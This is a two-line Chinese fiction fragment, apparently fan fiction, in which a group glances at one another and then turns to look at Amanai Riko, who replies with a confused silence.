他们互相对视一眼，最后将目光投向了被留下来的天内理子。
天内理子：“… …？”